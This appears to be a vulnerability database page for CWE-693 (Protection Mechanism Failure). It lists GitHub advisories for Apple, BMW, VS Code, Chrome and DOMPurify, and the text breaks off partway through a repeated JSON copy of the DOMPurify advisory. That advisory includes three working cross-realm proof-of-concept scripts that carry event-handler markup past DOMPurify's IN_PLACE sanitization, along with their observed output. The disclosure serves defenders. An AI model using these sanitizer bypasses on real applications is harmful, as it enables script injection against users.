Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1140 vulnerabilities reference this CWE, most recent first.

GHSA-HHJC-J2MM-6QXP

Vulnerability from github – Published: 2022-11-02 12:00 – Updated: 2022-11-03 12:00

Details

A logic issue was addressed with improved checks. This issue is fixed in tvOS 16.1, iOS 15.7.1 and iPadOS 15.7.1, macOS Ventura 13, watchOS 9.1, iOS 16.1 and iPadOS 16, macOS Monterey 12.6.1. An app may be able to execute arbitrary code with kernel privileges.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-42801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-01T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A logic issue was addressed with improved checks. This issue is fixed in tvOS 16.1, iOS 15.7.1 and iPadOS 15.7.1, macOS Ventura 13, watchOS 9.1, iOS 16.1 and iPadOS 16, macOS Monterey 12.6.1. An app may be able to execute arbitrary code with kernel privileges.",
  "id": "GHSA-hhjc-j2mm-6qxp",
  "modified": "2022-11-03T12:00:27Z",
  "published": "2022-11-02T12:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42801"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213488"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213489"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213490"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213491"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213492"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213494"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/170011/XNU-vm_object-Use-After-Free.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJ9M-5J23-RX9J

Vulnerability from github – Published: 2022-05-14 03:15 – Updated: 2022-05-14 03:15

Details

The Head Unit HU_NBT (aka Infotainment) component on BMW i Series, BMW X Series, BMW 3 Series, BMW 5 Series, and BMW 7 Series vehicles produced in 2012 through 2018 allows a remote attack via Bluetooth when in pairing mode, leading to a Head Unit reboot.

Severity

5.3 (Medium)


                  
                    CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-9313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-31T12:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The Head Unit HU_NBT (aka Infotainment) component on BMW i Series, BMW X Series, BMW 3 Series, BMW 5 Series, and BMW 7 Series vehicles produced in 2012 through 2018 allows a remote attack via Bluetooth when in pairing mode, leading to a Head Unit reboot.",
  "id": "GHSA-hj9m-5j23-rx9j",
  "modified": "2022-05-14T03:15:28Z",
  "published": "2022-05-14T03:15:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9313"
    },
    {
      "type": "WEB",
      "url": "https://keenlab.tencent.com/en/Experimental_Security_Assessment_of_BMW_Cars_by_KeenLab.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.theregister.co.uk/2018/05/23/bmw_security_bugs"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104258"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HM99-PWVC-XJ2R

Vulnerability from github – Published: 2026-08-11 18:31 – Updated: 2026-08-11 18:31

Details

Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-69278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T17:19:06Z",
    "severity": "HIGH"
  },
  "details": "Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.",
  "id": "GHSA-hm99-pwvc-xj2r",
  "modified": "2026-08-11T18:31:46Z",
  "published": "2026-08-11T18:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69278"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69278"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HPCC-6FHX-PP2M

Vulnerability from github – Published: 2026-05-20 21:31 – Updated: 2026-05-20 21:31

Details

Insufficient policy enforcement in Service Worker in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-9115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T20:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in Service Worker in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-hpcc-6fhx-pp2m",
  "modified": "2026-05-20T21:31:32Z",
  "published": "2026-05-20T21:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9115"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/495999481"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HPCV-96WG-7VJ8

Vulnerability from github – Published: 2026-06-15 19:56 – Updated: 2026-06-15 19:56

Summary

DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

Details

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected

DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { IN_PLACE: true }) against a sanitizer instance bound to a different realm

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside _initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected - IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance

Vulnerability details

The unifying defect is that _isClobbered, _sanitizeShadowDOM's template-content recursion, and _sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — `_isClobbered` gates on `element instanceof HTMLFormElement`

src/purify.ts:1120-1140:

const _isClobbered = function (element: Element): boolean {
  return (
    element instanceof HTMLFormElement &&    // [A] realm-bound — false for any
                                              //     iframe-realm <form> element
    (typeof element.nodeName !== 'string' ||
      typeof element.textContent !== 'string' ||
      typeof element.removeChild !== 'function' ||
      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound
      typeof element.removeAttribute !== 'function' ||
      typeof element.setAttribute !== 'function' ||
      typeof element.namespaceURI !== 'string' ||
      typeof element.insertBefore !== 'function' ||
      typeof element.hasChildNodes !== 'function' ||
      !(element.childNodes && typeof element.childNodes.length === 'number'))
  );
};

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so _isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on _sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.

[B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`

src/purify.ts:1660-1662:

while ((shadowNode = shadowIterator.nextNode())) {
  ...
  _sanitizeElements(shadowNode);
  _sanitizeAttributes(shadowNode);
  /* Deep shadow DOM detected */
  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound
    _sanitizeShadowDOM(shadowNode.content);
  }
}

The same check exists in the main iterator at :1861-1862:

if (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound
  _sanitizeShadowDOM(currentNode.content);
}

For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.

[C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`

src/purify.ts:1702-1712:

if (nodeType === NODE_TYPE.element) {
  const sr = getShadowRoot
    ? getShadowRoot(root)
    : (root as Element).shadowRoot;
  if (sr instanceof DocumentFragment) {                    // [C] realm-bound
    _sanitizeAttachedShadowRoots(sr);
    _sanitizeShadowDOM(sr);
  }
}

For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

The mismatch

DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's _isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).

Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { IN_PLACE: true }) and verifies that handler execution succeeds on subsequent activation.

PoC 1 — cross-realm form clobbering survives

const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div'); div.id = 'dirty';
  const form = idoc.createElement('form');
  form.setAttribute('onmouseover',
    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');
  const inp = idoc.createElement('input');
  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes
  form.appendChild(inp);
  div.appendChild(form);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_xss = 0;
  document.body.appendChild(div);
  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  // window.__dompurify_xss === 1
};
document.body.appendChild(iframe);

Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):

{
  "sanitizeError": null,
  "before": {
    "formIsMainRealmHTMLFormElement": false,
    "formIsForeignRealmHTMLFormElement": true,
    "formAttributesType": "[object HTMLInputElement]",
    "formAttributesEqualsInput": true
  },
  "after": {
    "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\"><input></form></div>",
    "formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1",
    "xssExecuted": 1
  }
}

PoC 2 — cross-realm `<template>` content is never walked

const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div');
  const tpl = idoc.createElement('template');
  tpl.innerHTML = '<img src="x" onerror=' +
    '"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">';
  div.appendChild(tpl);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_template_xss = 0;
  const clone = idoc.importNode(tpl.content, true);
  document.body.appendChild(clone);                        // fires onerror
};
document.body.appendChild(iframe);

Observed:

{
  "before": {
    "templateIsMainRealmHTMLTemplateElement": false,
    "contentIsMainRealmDocumentFragment": false,
    "contentIsForeignRealmDocumentFragment": true
  },
  "after": {
    "templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\">",
    "xssExecuted": 1
  }
}

PoC 3 — cross-realm attached shadow root is never walked

const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const host = idoc.createElement('div');
  host.attachShadow({ mode: 'open' }).innerHTML =
    '<img src=x onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>';

  DOMPurify.sanitize(host, { IN_PLACE: true });

  window.__dompurify_shadow_xss = 0;
  document.body.appendChild(host);                          // shadow activates, onerror fires
};
document.body.appendChild(iframe);

Observed:

{
  "before": {
    "hostIsMainRealmElement": false,
    "shadowRootIsMainRealmDocumentFragment": false,
    "shadowRootIsForeignRealmDocumentFragment": true
  },
  "after": {
    "shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"><b>safe text</b>",
    "xssExecuted": 1
  }
}

All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.

Impact

Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with IN_PLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

Form root attributes — onmouseover, onfocus, onclick, action="javascript:...", formaction=, target=, id= (DOM-clobbering target), and the full attribute-allowlist set, because _sanitizeAttributes walks a clobbered .attributes instead of the real NamedNodeMap.
<template> content — <img onerror>, <svg><script>, <iframe srcdoc>, etc., because the inert template tree is never recursed into.
Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.

XSS triggers when the consuming code: - Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus). - Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).

Indirect / second-order

DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm <template> parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.
Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization.
Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / <base> / form submission, then sanitize via the main page's DOMPurify.
Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.

Root cause

Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for IN_PLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."

Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:

element instanceof HTMLFormElement     // src/purify.ts:1122
element.attributes instanceof NamedNodeMap  // src/purify.ts:1126
sr instanceof DocumentFragment         // src/purify.ts:1706
currentNode.content instanceof DocumentFragment  // src/purify.ts:1861
shadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)
currentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)

Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from IN_PLACE:

HTMLFormElement detection — compare via the realm-independent getNodeName cached prototype getter introduced for the recent shadow-root traversal hardening:

ts const _isClobbered = function (element: Element): boolean { const nn = getNodeName ? getNodeName(element) : element.nodeName; if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false; // ... rest of the typeof / cached-getter shape checks ... };

DocumentFragment detection — nodeType === NODE_TYPE.documentFragment (i.e., 11), not instanceof DocumentFragment. The check is already realm-independent because Node.nodeType is a numeric constant. Same change for the <template>-content and attached-shadow-root recursion sites.
NamedNodeMap detection — read element.attributes via the cached Element.prototype.attributes getter (introduce getAttributes = lookupGetter(ElementPrototype, 'attributes')) and verify nodeType === 11-style shape (length is a number, indexed [i] returns objects with .name/.value strings). Do not rely on instanceof NamedNodeMap.
Element detection at :1296 — replace currentNode instanceof Element with a shape check (getNodeType(currentNode) === NODE_TYPE.element).

The invariant the fix should encode: once IN_PLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-501",
      "CWE-693",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:56:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS \u2014 Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure \u2014 realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation \u2014 foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe\u0027s realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`\u0027s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment \u2014 silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify \u2264 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm \u2014 popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` \u2014 the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer\u0027s own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`\u0027s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] \u2014 `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement \u0026\u0026    // [A] realm-bound \u2014 false for any\n                                              //     iframe-realm \u003cform\u003e element\n    (typeof element.nodeName !== \u0027string\u0027 ||\n      typeof element.textContent !== \u0027string\u0027 ||\n      typeof element.removeChild !== \u0027function\u0027 ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A\u0027] also realm-bound\n      typeof element.removeAttribute !== \u0027function\u0027 ||\n      typeof element.setAttribute !== \u0027function\u0027 ||\n      typeof element.namespaceURI !== \u0027string\u0027 ||\n      typeof element.insertBefore !== \u0027function\u0027 ||\n      typeof element.hasChildNodes !== \u0027function\u0027 ||\n      !(element.childNodes \u0026\u0026 typeof element.childNodes.length === \u0027number\u0027))\n  );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm\u0027s `HTMLFormElement`, not the parent realm\u0027s. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` \u2014 which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form\u0027s real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] \u2014 `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B\u0027] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm \u2014 not from the parent realm. Both checks miss it, and the template\u0027s contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] \u2014 `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:\u0027open\u0027})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm\u0027s `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point\u0027s `_isNode(dirty)` at `:1750` is realm-agnostic \u2014 it checks shape, not constructor identity), so callers reasonably expect that the library\u0027s downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 \u2014 cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement(\u0027div\u0027); div.id = \u0027dirty\u0027;\n  const form = idoc.createElement(\u0027form\u0027);\n  form.setAttribute(\u0027onmouseover\u0027,\n    \u0027window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\u0027);\n  const inp = idoc.createElement(\u0027input\u0027);\n  inp.setAttribute(\u0027name\u0027, \u0027attributes\u0027);                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 \u2014 cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement(\u0027div\u0027);\n  const tpl = idoc.createElement(\u0027template\u0027);\n  tpl.innerHTML = \u0027\u003cimg src=\"x\" onerror=\u0027 +\n    \u0027\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e\u0027;\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 \u2014 cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement(\u0027div\u0027);\n  host.attachShadow({ mode: \u0027open\u0027 }).innerHTML =\n    \u0027\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e\u0027;\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror 